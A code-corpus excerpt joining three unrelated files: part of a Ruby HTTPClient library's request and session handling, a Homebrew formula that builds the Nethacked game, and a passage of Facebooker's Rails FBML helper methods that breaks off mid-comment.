# [["a", "b"], ["a", "c"]] => 'http://host/part?a=b&a=c'
# body:: a Hash or an Array of body part. e.g.
# { "a" => "b" }
# => 'a=b'
# Give an array to pass multiple value like
# [["a", "b"], ["a", "c"]]
# => 'a=b&a=c'.
# When the given method is 'POST' and the given body contains a file
# as a value, it will be posted as a multipart/form-data. e.g.
# { 'upload' => file }
# You can also send custom multipart by passing an array of hashes.
# Each part must have a :content attribute which can be a file, all
# other keys will become headers.
# [{ 'Content-Type' => 'text/plain', :content => "some text" },
# { 'Content-Type' => 'video/mp4', :content => File.new('video.mp4') }]
# => <Two parts with custom Content-Type header>
# See HTTP::Message.file? for actual condition of 'a file'.
# header:: a Hash or an Array of extra headers. e.g.
# { 'Accept' => 'text/html' } or
# [['Accept', 'image/jpeg'], ['Accept', 'image/png']].
# &block:: Give a block to get chunked message-body of response like
# get(uri) { |chunked_body| ... }.
# Size of each chunk may not be the same.
#
# You can also pass a String as a body. HTTPClient just sends a String as
# a HTTP request message body.
#
# When you pass an IO as a body, HTTPClient sends it as a HTTP request with
# chunked encoding (Transfer-Encoding: chunked in HTTP header) if IO does not
# respond to :size. Bear in mind that some server application does not support
# chunked request. At least cgi.rb does not support it.
def request(method, uri, *args, &block)
query, body, header, follow_redirect = keyword_argument(args, :query, :body, :header, :follow_redirect)
if [:post, :put].include?(method)
body ||= ''
end
if method == :propfind
header ||= PROPFIND_DEFAULT_EXTHEADER
else
header ||= {}
end
uri = urify(uri)
if block
if block.arity == 1
filtered_block = proc { |res, str|
block.call(str)
}
else
filtered_block = block
end
end
if follow_redirect
follow_redirect(method, uri, query, body, header, &block)
else
do_request(method, uri, query, body, header, &filtered_block)
end
end
# Sends HEAD request in async style. See request_async for arguments.
# It immediately returns a HTTPClient::Connection instance as a result.
def head_async(uri, *args)
query, header = keyword_argument(args, :query, :header)
request_async(:head, uri, query, nil, header || {})
end
# Sends GET request in async style. See request_async for arguments.
# It immediately returns a HTTPClient::Connection instance as a result.
def get_async(uri, *args)
query, header = keyword_argument(args, :query, :header)
request_async(:get, uri, query, nil, header || {})
end
# Sends POST request in async style. See request_async for arguments.
# It immediately returns a HTTPClient::Connection instance as a result.
def post_async(uri, *args)
body, header = keyword_argument(args, :body, :header)
request_async(:post, uri, nil, body || '', header || {})
end
# Sends PUT request in async style. See request_async for arguments.
# It immediately returns a HTTPClient::Connection instance as a result.
def put_async(uri, *args)
body, header = keyword_argument(args, :body, :header)
request_async(:put, uri, nil, body || '', header || {})
end
# Sends DELETE request in async style. See request_async for arguments.
# It immediately returns a HTTPClient::Connection instance as a result.
def delete_async(uri, *args)
header = keyword_argument(args, :header)
request_async(:delete, uri, nil, nil, header || {})
end
# Sends OPTIONS request in async style. See request_async for arguments.
# It immediately returns a HTTPClient::Connection instance as a result.
def options_async(uri, *args)
header = keyword_argument(args, :header)
request_async(:options, uri, nil, nil, header || {})
end
# Sends PROPFIND request in async style. See request_async for arguments.
# It immediately returns a HTTPClient::Connection instance as a result.
def propfind_async(uri, *args)
header = keyword_argument(args, :header)
request_async(:propfind, uri, nil, nil, header || PROPFIND_DEFAULT_EXTHEADER)
end
# Sends PROPPATCH request in async style. See request_async for arguments.
# It immediately returns a HTTPClient::Connection instance as a result.
def proppatch_async(uri, *args)
body, header = keyword_argument(args, :body, :header)
request_async(:proppatch, uri, nil, body, header || {})
end
# Sends TRACE request in async style. See request_async for arguments.
# It immediately returns a HTTPClient::Connection instance as a result.
def trace_async(uri, *args)
query, body, header = keyword_argument(args, :query, :body, :header)
request_async(:trace, uri, query, body, header || {})
end
# Sends a request in async style. request method creates new Thread for
# HTTP connection and returns a HTTPClient::Connection instance immediately.
#
# Arguments definition is the same as request.
def request_async(method, uri, query = nil, body = nil, header = {})
uri = urify(uri)
do_request_async(method, uri, query, body, header)
end
# Resets internal session for the given URL. Keep-alive connection for the
# site (host-port pair) is disconnected if exists.
def reset(uri)
uri = urify(uri)
@session_manager.reset(uri)
end
# Resets all of internal sessions. Keep-alive connections are disconnected.
def reset_all
@session_manager.reset_all
end
private
class RetryableResponse < StandardError # :nodoc:
end
class KeepAliveDisconnected < StandardError # :nodoc:
attr_reader :sess
def initialize(sess = nil)
@sess = sess
end
end
def do_request(method, uri, query, body, header, &block)
conn = Connection.new
res = nil
if HTTP::Message.file?(body)
pos = body.pos rescue nil
end
retry_count = @session_manager.protocol_retry_count
proxy = no_proxy?(uri) ? nil : @proxy
while retry_count > 0
body.pos = pos if pos
req = create_request(method, uri, query, body, header)
begin
protect_keep_alive_disconnected do
do_get_block(req, proxy, conn, &block)
end
res = conn.pop
break
rescue RetryableResponse
res = conn.pop
retry_count -= 1
end
end
res
end
def do_request_async(method, uri, query, body, header)
conn = Connection.new
t = Thread.new(conn) { |tconn|
begin
if HTTP::Message.file?(body)
pos = body.pos rescue nil
end
retry_count = @session_manager.protocol_retry_count
proxy = no_proxy?(uri) ? nil : @proxy
while retry_count > 0
body.pos = pos if pos
req = create_request(method, uri, query, body, header)
begin
protect_keep_alive_disconnected do
do_get_stream(req, proxy, tconn)
end
break
rescue RetryableResponse
retry_count -= 1
end
end
rescue Exception
conn.push $!
end
}
conn.async_thread = t
conn
end
def load_environment
# http_proxy
if getenv('REQUEST_METHOD')
# HTTP_PROXY conflicts with the environment variable usage in CGI where
# HTTP_* is used for HTTP header information. Unlike open-uri, we
# simply ignore http_proxy in CGI env and use cgi_http_proxy instead.
self.proxy = getenv('cgi_http_proxy')
else
self.proxy = getenv('http_proxy')
end
# no_proxy
self.no_proxy = getenv('no_proxy')
end
def getenv(name)
ENV[name.downcase] || ENV[name.upcase]
end
def follow_redirect(method, uri, query, body, header, &block)
uri = urify(uri)
if block
filtered_block = proc { |r, str|
block.call(str) if r.ok?
}
end
if HTTP::Message.file?(body)
pos = body.pos rescue nil
end
retry_number = 0
while retry_number < @follow_redirect_count
body.pos = pos if pos
res = do_request(method, uri, query, body, header, &filtered_block)
if res.redirect?
method = :get if res.see_other? # See RFC2616 10.3.4
uri = urify(@redirect_uri_callback.call(uri, res))
retry_number += 1
else
return res
end
end
raise BadResponseError.new("retry count exceeded", res)
end
def success_content(res)
if res.ok?
return res.content
else
raise BadResponseError.new("unexpected response: #{res.header.inspect}", res)
end
end
def protect_keep_alive_disconnected
begin
yield
rescue KeepAliveDisconnected => e
if e.sess
@session_manager.invalidate(e.sess.dest)
end
yield
end
end
def create_request(method, uri, query, body, header)
method = method.to_s.upcase
if header.is_a?(Hash)
header = header.to_a
else
header = header.dup
end
boundary = nil
if body
_, content_type = header.find { |key, value|
key.downcase == 'content-type'
}
if content_type
if /\Amultipart/ =~ content_type
if content_type =~ /boundary=(.+)\z/
boundary = $1
else
boundary = create_boundary
content_type = "#{content_type}; boundary=#{boundary}"
header = override_header(header, 'Content-Type', content_type)
end
end
else
if file_in_form_data?(body)
boundary = create_boundary
content_type = "multipart/form-data; boundary=#{boundary}"
else
content_type = 'application/x-www-form-urlencoded'
end
header << ['Content-Type', content_type]
end
end
req = HTTP::Message.new_request(method, uri, query, body, boundary)
header.each do |key, value|
req.header.add(key.to_s, value)
end
if @cookie_manager && cookie = @cookie_manager.find(uri)
req.header.add('Cookie', cookie)
end
req
end
def create_boundary
Digest::SHA1.hexdigest(Time.now.to_s)
end
def file_in_form_data?(body)
HTTP::Message.multiparam_query?(body) &&
body.any? { |k, v| HTTP::Message.file?(v) }
end
def override_header(header, key, value)
result = []
header.each do |k, v|
if k.downcase == key.downcase
result << [key, value]
else
result << [k, v]
end
end
result
end
NO_PROXY_HOSTS = ['localhost']
def no_proxy?(uri)
if !@proxy or NO_PROXY_HOSTS.include?(uri.host)
return true
end
@no_proxy_regexps.each do |regexp, port|
if !port || uri.port == port.to_i
if regexp =~ uri.host
return true
end
end
end
false
end
# !! CAUTION !!
# Method 'do_get*' runs under MT conditon. Be careful to change.
def do_get_block(req, proxy, conn, &block)
@request_filter.each do |filter|
filter.filter_request(req)
end
if str = @test_loopback_response.shift
dump_dummy_request_response(req.http_body.dump, str) if @debug_dev
conn.push(HTTP::Message.new_response(str, req.header))
return
end
content = block ? nil : ''
res = HTTP::Message.new_response(content, req.header)
@debug_dev << "= Request\n\n" if @debug_dev
sess = @session_manager.query(req, proxy)
res.peer_cert = sess.ssl_peer_cert
@debug_dev << "\n\n= Response\n\n" if @debug_dev
do_get_header(req, res, sess)
conn.push(res)
sess.get_body do |part|
set_encoding(part, res.body_encoding)
if block
block.call(res, part.dup)
else
content << part
end
end
# there could be a race condition but it's OK to cache unreusable
# connection because we do retry for that case.
@session_manager.keep(sess) unless sess.closed?
commands = @request_filter.collect { |filter|
filter.filter_response(req, res)
}
if commands.find { |command| command == :retry }
raise RetryableResponse.new
end
end
def do_get_stream(req, proxy, conn)
@request_filter.each do |filter|
filter.filter_request(req)
end
if str = @test_loopback_response.shift
dump_dummy_request_response(req.http_body.dump, str) if @debug_dev
conn.push(HTTP::Message.new_response(StringIO.new(str), req.header))
return
end
piper, pipew = IO.pipe
res = HTTP::Message.new_response(piper, req.header)
@debug_dev << "= Request\n\n" if @debug_dev
sess = @session_manager.query(req, proxy)
res.peer_cert = sess.ssl_peer_cert
@debug_dev << "\n\n= Response\n\n" if @debug_dev
do_get_header(req, res, sess)
conn.push(res)
sess.get_body do |part|
set_encoding(part, res.body_encoding)
pipew.write(part)
end
pipew.close
@session_manager.keep(sess) unless sess.closed?
_ = @request_filter.collect { |filter|
filter.filter_response(req, res)
}
# ignore commands (not retryable in async mode)
end
def do_get_header(req, res, sess)
res.http_version, res.status, res.reason, headers = sess.get_header
res.header.set_headers(headers)
if @cookie_manager
res.header['set-cookie'].each do |cookie|
@cookie_manager.parse(cookie, req.header.request_uri)
end
end
end
def dump_dummy_request_response(req, res)
@debug_dev << "= Dummy Request\n\n"
@debug_dev << req
@debug_dev << "\n\n= Dummy Response\n\n"
@debug_dev << res
end
def set_encoding(str, encoding)
str.force_encoding(encoding) if encoding
end
end
| 33.228252 | 149 | 0.661439 |
6a984d0ee2ed5d8440dc8c3968a890126d074bdb | 2,981 | require "etc"
# Bugfixed and interface-patched Nethack.
#
# This formula is based on the Nethack formula, and includes the
# patches from same. The original notes from the Nethack formula
# follow:
# - @jterk
#
# Nethack the way God intended it to be played: from a terminal.
# This build script was created referencing:
# * https://nethackwiki.com/wiki/Compiling#On_Mac_OS_X
# * https://nethackwiki.com/wiki/Pkgsrc#patch-ac_.28system.h.29
# and copious hacking until things compiled.
#
# The patch applied incorporates the patch-ac above, the OS X
# instructions from the Wiki, and whatever else needed to be
# done.
# - @adamv
class Nethacked < Formula
desc "Bugfixed and interface-patched Nethack"
homepage "https://nethacked.github.io/"
url "https://github.com/nethacked/nethacked/archive/1.0.tar.gz"
sha256 "4e3065a7b652d5fc21577e0b7ac3a60513cd30f4ee81c7f11431a71185b609aa"
license "NGPL"
bottle do
sha256 "619034420b0ce7a657824a14c45af647132ac8263839b9a56fc0b64ff100aa64" => :catalina
sha256 "77cec385d3ab1ba8c9d4ef1234d25a42a7aff77c9db2158fad7820f677a67cc0" => :mojave
sha256 "4fe2af842c20dc95f4ae5bebcffed0b85da6a94a548b0d5f8115d1829c80e3cc" => :high_sierra
sha256 "d2c880eb02b32bc6a976b16502f400a94b395375b5cd59e731fb209580e3ceee" => :sierra
sha256 "dcbe9a404fb0215e35dc9d08e73595ba8dadad55e6ca898078a66ce04c9dc11b" => :el_capitan
sha256 "08b24568c94b14271e5d1b2880a0a78e6eea5cbbabfb9519347b5be1d2cc0893" => :yosemite
end
# Don't remove save folder
skip_clean "libexec/save"
patch do
url "https://raw.githubusercontent.com/Homebrew/formula-patches/b40e459/nethacked/1.0.patch"
sha256 "d32bed5e7b4500515135270d72077bab49534abbdc60d8d040473fbee630f90f"
end
def install
# Build everything in-order; no multi builds.
ENV.deparallelize
# Symlink makefiles
system "sh", "sys/unix/setup.sh"
inreplace "include/config.h",
/^#\s*define HACKDIR.*$/,
"#define HACKDIR \"#{libexec}\""
# Enable wizard mode for the current user
wizard = Etc.getpwuid.name
inreplace "include/config.h",
/^#\s*define\s+WIZARD\s+"wizard"/,
"#define WIZARD \"#{wizard}\""
inreplace "include/config.h",
/^#\s*define\s+WIZARD_NAME\s+"wizard"/,
"#define WIZARD_NAME \"#{wizard}\""
cd "dat" do
# Make the data first, before we munge the CFLAGS
system "make"
%w[perm logfile].each do |f|
touch f
libexec.install f
end
# Stage the data
libexec.install %w[help hh cmdhelp history opthelp wizhelp dungeon
license data oracles options rumors quest.dat]
libexec.install Dir["*.lev"]
end
# Make the game
ENV.append_to_cflags "-I../include"
cd "src" do
system "make"
end
bin.install "src/nethacked"
(libexec+"save").mkpath
# These need to be group-writable in multi-user situations
chmod "g+w", libexec
chmod "g+w", libexec+"save"
end
end
| 31.378947 | 96 | 0.712848 |
e83742613d4d993063ec6be91dfa7e1b1999bfaa | 35,212 | require 'action_pack'
module Facebooker
module Rails
# Facebook specific helpers for creating FBML
#
# All helpers that take a user as a parameter will get the Facebook UID from the facebook_id attribute if it exists.
# It will use to_s if the facebook_id attribute is not present.
#
module Helpers
include Facebooker::Rails::Helpers::FbConnect
# Create an fb:dialog
# id must be a unique name e.g. "my_dialog"
# cancel_button is true or false
def fb_dialog( id, cancel_button, &block )
content = capture(&block)
if ignore_binding?
concat( content_tag("fb:dialog", content, {:id => id, :cancel_button => cancel_button}) )
else
concat( content_tag("fb:dialog", content, {:id => id, :cancel_button => cancel_button}), block.binding )
end
end
def fb_iframe(src, options = {})
content_tag "fb:iframe", '', options.merge({ :src => src })
end
def fb_swf(src, options = {})
tag "fb:swf", options.merge(:swfsrc => src)
end
def fb_dialog_title( title )
content_tag "fb:dialog-title", title
end
def fb_dialog_content( &block )
content = capture(&block)
if ignore_binding?
concat( content_tag("fb:dialog-content", content) )
else
concat( content_tag("fb:dialog-content", content), block.binding )
end
end
def fb_dialog_button( type, value, options={} )
options.assert_valid_keys FB_DIALOG_BUTTON_VALID_OPTION_KEYS
options.merge! :type => type, :value => value
tag "fb:dialog-button", options
end
FB_DIALOG_BUTTON_VALID_OPTION_KEYS = [:close_dialog, :href, :form_id, :clickrewriteurl, :clickrewriteid, :clickrewriteform]
def fb_show_feed_dialog(action, user_message = "", prompt = "", callback = nil)
update_page do |page|
page.call "Facebook.showFeedDialog",action.template_id,action.data,action.body_general,action.target_ids,callback,prompt,user_message
end
end
# Create an fb:request-form without a selector
#
# The block passed to this tag is used as the content of the form
#
# The message param is the name sent to content_for that specifies the body of the message
#
# For example,
#
# <% content_for("invite_message") do %>
# This gets sent in the invite. <%= fb_req_choice("with a button!",new_poke_path) %>
# <% end %>
# <% fb_request_form("Poke","invite_message",create_poke_path) do %>
# Send a poke to: <%= fb_friend_selector %> <br />
# <%= fb_request_form_submit %>
# <% end %>
def fb_request_form(type,message_param,url,options={},&block)
content = capture(&block)
message = @template.instance_variable_get("@content_for_#{message_param}")
if ignore_binding?
concat(content_tag("fb:request-form", content + token_tag,
{:action=>url,:method=>"post",:invite=>true,:type=>type,:content=>message}.merge(options)))
else
concat(content_tag("fb:request-form", content + token_tag,
{:action=>url,:method=>"post",:invite=>true,:type=>type,:content=>message}.merge(options)),
block.binding)
end
end
# Create a submit button for an <fb:request-form>
# If the request is for an individual user you can optionally
# Provide the user and a label for the request button.
# For example
# <% content_for("invite_user") do %>
# This gets sent in the invite. <%= fb_req_choice("Come join us!",new_invite_path) %>
# <% end %>
# <% fb_request_form("Invite","invite_user",create_invite_path) do %>
# Invite <%= fb_name(@facebook_user.friends.first.id)%> to the party <br />
# <%= fb_request_form_submit(:uid => @facebook_user.friends.first.id, :label => "Invite %n") %>
# <% end %>
# <em>See:</em> http://wiki.developers.facebook.com/index.php/Fb:request-form-submit for options
def fb_request_form_submit(options={})
tag("fb:request-form-submit",stringify_vals(options))
end
# Create an fb:request-form with an fb_multi_friend_selector inside
#
# The content of the block are used as the message on the form,
#
# For example:
# <% fb_multi_friend_request("Poke","Choose some friends to Poke",create_poke_path) do %>
# If you select some friends, they will see this message.
# <%= fb_req_choice("They will get this button, too",new_poke_path) %>
# <% end %>
def fb_multi_friend_request(type,friend_selector_message,url,&block)
content = capture(&block)
if ignore_binding?
concat(content_tag("fb:request-form",
fb_multi_friend_selector(friend_selector_message) + token_tag,
{:action=>url,:method=>"post",:invite=>true,:type=>type,:content=>content}
))
else
concat(content_tag("fb:request-form",
fb_multi_friend_selector(friend_selector_message) + token_tag,
{:action=>url,:method=>"post",:invite=>true,:type=>type,:content=>content}
),
block.binding)
end
end
# Render an <fb:friend-selector> element
# <em>See:</em> http://wiki.developers.facebook.com/index.php/Fb:friend-selector for options
#
def fb_friend_selector(options={})
tag("fb:friend-selector",stringify_vals(options))
end
# Render an <fb:multi-friend-input> element
# <em> See: </em> http://wiki.developers.facebook.com/index.php/Fb:multi-friend-input for options
def fb_multi_friend_input(options={})
tag "fb:multi-friend-input",stringify_vals(options)
end
# Render an <fb:multi-friend-selector> with the passed in welcome message
# Full version shows all profile pics for friends.
# <em> See: </em> http://wiki.developers.facebook.com/index.php/Fb:multi-friend-selector for options
# <em> Note: </em> I don't think the block is used here.
def fb_multi_friend_selector(message,options={},&block)
options = options.dup
tag("fb:multi-friend-selector",stringify_vals({:showborder=>false,:actiontext=>message,:max=>20}.merge(options)))
end
# Render a condensed <fb:multi-friend-selector> with the passed in welcome message
# Condensed version show checkboxes for each friend.
# <em> See: </em> http://wiki.developers.facebook.com/index.php/Fb:multi-friend-selector_%28condensed%29 for options
# <em> Note: </em> I don't think the block is used here.
def fb_multi_friend_selector_condensed(options={},&block)
options = options.dup
tag("fb:multi-friend-selector",stringify_vals(options.merge(:condensed=>true)))
end
# Render a button in a request using the <fb:req-choice> tag
# url must be an absolute url
# This should be used inside the block of an fb_multi_friend_request
def fb_req_choice(label,url)
tag "fb:req-choice",:label=>label,:url=>url
end
# Create a facebook form using <fb:editor>
#
# It yields a form builder that will convert the standard rails form helpers
# into the facebook specific version.
#
# Example:
# <% facebook_form_for(:poke,@poke,:url => create_poke_path) do |f| %>
# <%= f.text_field :message, :label=>"message" %>
# <%= f.buttons "Save Poke" %>
# <% end %>
#
# will generate
#
# <fb:editor action="/pokes/create">
# <fb:editor-text name="poke[message]" id="poke_message" value="" label="message" />
# <fb:editor-buttonset>
# <fb:editor-button label="Save Poke"
# </fb:editor-buttonset>
# </fb:editor>
def facebook_form_for( record_or_name_or_array,*args, &proc)
raise ArgumentError, "Missing block" unless block_given?
options = args.last.is_a?(Hash) ? args.pop : {}
case record_or_name_or_array
when String, Symbol
object_name = record_or_name_or_array
when Array
object = record_or_name_or_array.last
object_name = ActionController::RecordIdentifier.singular_class_name(object)
apply_form_for_options!(record_or_name_or_array, options)
args.unshift object
else
object = record_or_name_or_array
object_name = ActionController::RecordIdentifier.singular_class_name(object)
apply_form_for_options!([object], options)
args.unshift object
end
method = (options[:html]||{})[:method]
options[:builder] ||= Facebooker::Rails::FacebookFormBuilder
editor_options={}
action=options.delete(:url)
editor_options[:action]= action unless action.blank?
width=options.delete(:width)
editor_options[:width]=width unless width.blank?
width=options.delete(:labelwidth)
editor_options[:labelwidth]=width unless width.blank?
if ignore_binding?
concat(tag("fb:editor",editor_options,true))
concat(tag(:input,{:type=>"hidden",:name=>:_method, :value=>method},false)) unless method.blank?
concat(token_tag)
fields_for( object_name,*(args << options), &proc)
concat("</fb:editor>")
else
concat(tag("fb:editor",editor_options,true) , proc.binding)
concat(tag(:input,{:type=>"hidden",:name=>:_method, :value=>method},false), proc.binding) unless method.blank?
concat(token_tag, proc.binding)
fields_for( object_name,*(args << options), &proc)
concat("</fb:editor>",proc.binding)
end
end
# Render an fb:application-name tag
#
# This renders the current application name via fbml. See
# http://wiki.developers.facebook.com/index.php/Fb:application-name
# for a full description.
#
def fb_application_name(options={})
tag "fb:application-name", stringify_vals(options)
end
# Render an fb:name tag for the given user
# This renders the name of the user specified. You can use this tag as both subject and object of
# a sentence. <em> See </em> http://wiki.developers.facebook.com/index.php/Fb:name for full description.
# Use this tag on FBML pages instead of retrieving the user's info and rendering the name explicitly.
#
def fb_name(user, options={})
options = options.dup
options.transform_keys!(FB_NAME_OPTION_KEYS_TO_TRANSFORM)
options.assert_valid_keys(FB_NAME_VALID_OPTION_KEYS)
options.merge!(:uid => cast_to_facebook_id(user))
content_tag("fb:name",nil, stringify_vals(options))
end
FB_NAME_OPTION_KEYS_TO_TRANSFORM = {:first_name_only => :firstnameonly,
:last_name_only => :lastnameonly,
:show_network => :shownetwork,
:use_you => :useyou,
:if_cant_see => :ifcantsee,
:subject_id => :subjectid}
FB_NAME_VALID_OPTION_KEYS = [:firstnameonly, :linked, :lastnameonly, :possessive, :reflexive,
:shownetwork, :useyou, :ifcantsee, :capitalize, :subjectid]
# Render an <fb:pronoun> tag for the specified user
# Options give flexibility for placing in any part of a sentence.
# <em> See </em> http://wiki.developers.facebook.com/index.php/Fb:pronoun for complete list of options.
#
def fb_pronoun(user, options={})
options = options.dup
options.transform_keys!(FB_PRONOUN_OPTION_KEYS_TO_TRANSFORM)
options.assert_valid_keys(FB_PRONOUN_VALID_OPTION_KEYS)
options.merge!(:uid => cast_to_facebook_id(user))
content_tag("fb:pronoun",nil, stringify_vals(options))
end
FB_PRONOUN_OPTION_KEYS_TO_TRANSFORM = {:use_you => :useyou, :use_they => :usethey}
FB_PRONOUN_VALID_OPTION_KEYS = [:useyou, :possessive, :reflexive, :objective,
:usethey, :capitalize]
# Render an fb:ref tag.
# Options must contain either url or handle.
# * <em> url </em> The URL from which to fetch the FBML. You may need to call fbml.refreshRefUrl to refresh cache
# * <em> handle </em> The string previously set by fbml.setRefHandle that identifies the FBML
# <em> See </em> http://wiki.developers.facebook.com/index.php/Fb:ref for complete description
def fb_ref(options)
options.assert_valid_keys(FB_REF_VALID_OPTION_KEYS)
validate_fb_ref_has_either_url_or_handle(options)
validate_fb_ref_does_not_have_both_url_and_handle(options)
tag("fb:ref", stringify_vals(options))
end
def validate_fb_ref_has_either_url_or_handle(options)
unless options.has_key?(:url) || options.has_key?(:handle)
raise ArgumentError, "fb_ref requires :url or :handle"
end
end
def validate_fb_ref_does_not_have_both_url_and_handle(options)
if options.has_key?(:url) && options.has_key?(:handle)
raise ArgumentError, "fb_ref may not have both :url and :handle"
end
end
FB_REF_VALID_OPTION_KEYS = [:url, :handle]
# Render an <fb:profile-pic> for the specified user.
#
# You can optionally specify the size using the :size=> option. Valid
# sizes are :thumb, :small, :normal and :square. Or, you can specify
# width and height settings instead, just like an img tag.
#
# You can optionally specify whether or not to include the facebook icon
# overlay using the :facebook_logo => true option. Default is false.
#
def fb_profile_pic(user, options={})
options = options.dup
validate_fb_profile_pic_size(options)
options.transform_keys!(FB_PROFILE_PIC_OPTION_KEYS_TO_TRANSFORM)
options.assert_valid_keys(FB_PROFILE_PIC_VALID_OPTION_KEYS)
options.merge!(:uid => cast_to_facebook_id(user))
content_tag("fb:profile-pic", nil,stringify_vals(options))
end
FB_PROFILE_PIC_OPTION_KEYS_TO_TRANSFORM = {:facebook_logo => 'facebook-logo'}
FB_PROFILE_PIC_VALID_OPTION_KEYS = [:size, :linked, 'facebook-logo', :width, :height]
# Render an fb:photo tag.
# photo is either a Facebooker::Photo or an id of a Facebook photo or an object that responds to photo_id.
# <em> See: </em> http://wiki.developers.facebook.com/index.php/Fb:photo for complete list of options.
def fb_photo(photo, options={})
options = options.dup
options.assert_valid_keys(FB_PHOTO_VALID_OPTION_KEYS)
options.merge!(:pid => cast_to_photo_id(photo))
validate_fb_photo_size(options)
validate_fb_photo_align_value(options)
content_tag("fb:photo",nil, stringify_vals(options))
end
FB_PHOTO_VALID_OPTION_KEYS = [:uid, :size, :align]
def cast_to_photo_id(object)
object.respond_to?(:photo_id) ? object.photo_id : object
end
VALID_FB_SHARED_PHOTO_SIZES = [:thumb, :small, :normal, :square]
VALID_FB_PHOTO_SIZES = VALID_FB_SHARED_PHOTO_SIZES
VALID_FB_PROFILE_PIC_SIZES = VALID_FB_SHARED_PHOTO_SIZES
VALID_PERMISSIONS=[:email, :offline_access, :status_update, :photo_upload, :create_listing, :create_event, :rsvp_event, :sms, :video_upload,
:publish_stream, :read_stream]
# Render an fb:tabs tag containing some number of fb:tab_item tags.
# Example:
# <% fb_tabs do %>
# <%= fb_tab_item("Home", "home") %>
# <%= fb_tab_item("Office", "office") %>
# <% end %>
def fb_tabs(&block)
content = capture(&block)
if ignore_binding?
concat(content_tag("fb:tabs", content))
else
concat(content_tag("fb:tabs", content), block.binding)
end
end
# Render an fb:tab_item tag.
# Use this in conjunction with fb_tabs
# Options can contains :selected => true to indicate that a tab is the current tab.
# <em> See: </em> http://wiki.developers.facebook.com/index.php/Fb:tab-item for complete list of options
def fb_tab_item(title, url, options={})
options= options.dup
options.assert_valid_keys(FB_TAB_ITEM_VALID_OPTION_KEYS)
options.merge!(:title => title, :href => url)
validate_fb_tab_item_align_value(options)
tag("fb:tab-item", stringify_vals(options))
end
FB_TAB_ITEM_VALID_OPTION_KEYS = [:align, :selected]
def validate_fb_tab_item_align_value(options)
if options.has_key?(:align) && !VALID_FB_TAB_ITEM_ALIGN_VALUES.include?(options[:align].to_sym)
raise(ArgumentError, "Unknown value for align: #{options[:align]}")
end
end
def validate_fb_photo_align_value(options)
if options.has_key?(:align) && !VALID_FB_PHOTO_ALIGN_VALUES.include?(options[:align].to_sym)
raise(ArgumentError, "Unknown value for align: #{options[:align]}")
end
end
VALID_FB_SHARED_ALIGN_VALUES = [:left, :right]
VALID_FB_PHOTO_ALIGN_VALUES = VALID_FB_SHARED_ALIGN_VALUES
VALID_FB_TAB_ITEM_ALIGN_VALUES = VALID_FB_SHARED_ALIGN_VALUES
# Create a Facebook wall. It can contain fb_wall_posts
#
# For Example:
# <% fb_wall do %>
# <%= fb_wall_post(@user,"This is my message") %>
# <%= fb_wall_post(@otheruser,"This is another message") %>
# <% end %>
def fb_wall(&proc)
content = capture(&proc)
if ignore_binding?
concat(content_tag("fb:wall",content,{}))
else
concat(content_tag("fb:wall",content,{}),proc.binding)
end
end
# Render an <fb:wallpost> tag
# TODO: Optionally takes a time parameter t = int The current time, which is displayed in epoch seconds.
def fb_wallpost(user,message)
content_tag("fb:wallpost",message,:uid=>cast_to_facebook_id(user))
end
alias_method :fb_wall_post, :fb_wallpost
# Render an <fb:error> tag
# If message and text are present then this will render fb:error and fb:message tag
# TODO: Optionally takes a decoration tag with value of 'no_padding' or 'shorten'
def fb_error(message, text=nil)
fb_status_msg("error", message, text)
end
# Render an <fb:explanation> tag
# If message and text are present then this will render fb:error and fb:message tag
# TODO: Optionally takes a decoration tag with value of 'no_padding' or 'shorten'
def fb_explanation(message, text=nil)
fb_status_msg("explanation", message, text)
end
# Render an <fb:success> tag
# If message and text are present then this will render fb:error and fb:message tag
# TODO: Optionally takes a decoration tag with value of 'no_padding' or 'shorten'
def fb_success(message, text=nil)
fb_status_msg("success", message, text)
end
# Render flash values as <fb:message> and <fb:error> tags
#
# values in flash[:notice] will be rendered as an <fb:message>
#
# values in flash[:error] will be rendered as an <fb:error>
# TODO: Allow flash[:info] to render fb_explanation
def facebook_messages
message=""
unless flash[:notice].blank?
message += fb_success(flash[:notice])
end
unless flash[:error].blank?
message += fb_error(flash[:error])
end
message
end
# Create a dashboard. It can contain fb_action, fb_help, and fb_create_button
#
# For Example:
# <% fb_dashboard do %>
# <%= APP_NAME %>
# <%= fb_action 'My Matches', search_path %>
# <%= fb_help 'Feedback', "http://www.facebook.com/apps/application.php?id=6236036681" %>
# <%= fb_create_button 'Invite Friends', main_path %>
# <% end %>
def fb_dashboard(&proc)
if block_given?
content = capture(&proc)
if ignore_binding?
concat(content_tag("fb:dashboard",content,{}))
else
concat(content_tag("fb:dashboard",content,{}),proc.binding)
end
else
content_tag("fb:dashboard",content,{})
end
end
# Content for the wide profile box goes in this tag
def fb_wide(&proc)
content = capture(&proc)
if ignore_binding?
concat(content_tag("fb:wide", content, {}))
else
concat(content_tag("fb:wide", content, {}), proc.binding)
end
end
# Content for the narrow profile box goes in this tag
def fb_narrow(&proc)
content = capture(&proc)
if ignore_binding?
concat(content_tag("fb:narrow", content, {}))
else
concat(content_tag("fb:narrow", content, {}), proc.binding)
end
end
# Renders an action using the <fb:action> tag
def fb_action(name, url)
"<fb:action href=\"#{url_for(url)}\">#{name}</fb:action>"
end
# Render a <fb:help> tag
# For use inside <fb:dashboard>
def fb_help(name, url)
"<fb:help href=\"#{url_for(url)}\">#{name}</fb:help>"
end
# Render a <fb:create-button> tag
# For use inside <fb:dashboard>
def fb_create_button(name, url)
"<fb:create-button href=\"#{url_for(url)}\">#{name}</fb:create-button>"
end
# Create a comment area
# All the data for this content area is stored on the facebook servers.
# <em>See:</em> http://wiki.developers.facebook.com/index.php/Fb:comments for full details
def fb_comments(xid,canpost=true,candelete=false,numposts=5,options={})
options = options.dup
title = (title = options.delete(:title)) ? fb_title(title) : nil
content_tag "fb:comments",title,stringify_vals(options.merge(:xid=>xid,:canpost=>canpost.to_s,:candelete=>candelete.to_s,:numposts=>numposts))
end
# Adds a title to the title bar
#
# Facebook | App Name | This is the canvas page window title
#
# +title+: This is the canvas page window
def fb_title(title)
"<fb:title>#{title}</fb:title>"
end
# Create a Google Analytics tag
#
# +uacct+: Your Urchin/Google Analytics account ID.
def fb_google_analytics(uacct, options={})
options = options.dup
tag "fb:google-analytics", stringify_vals(options.merge(:uacct => uacct))
end
# Render if-is-app-user tag
# This tag renders the enclosing content only if the user specified has accepted the terms of service for the application.
# Use fb_if_user_has_added_app to determine wether the user has added the app.
# Example:
# <% fb_if_is_app_user(@facebook_user) do %>
# Thanks for accepting our terms of service!
# <% fb_else do %>
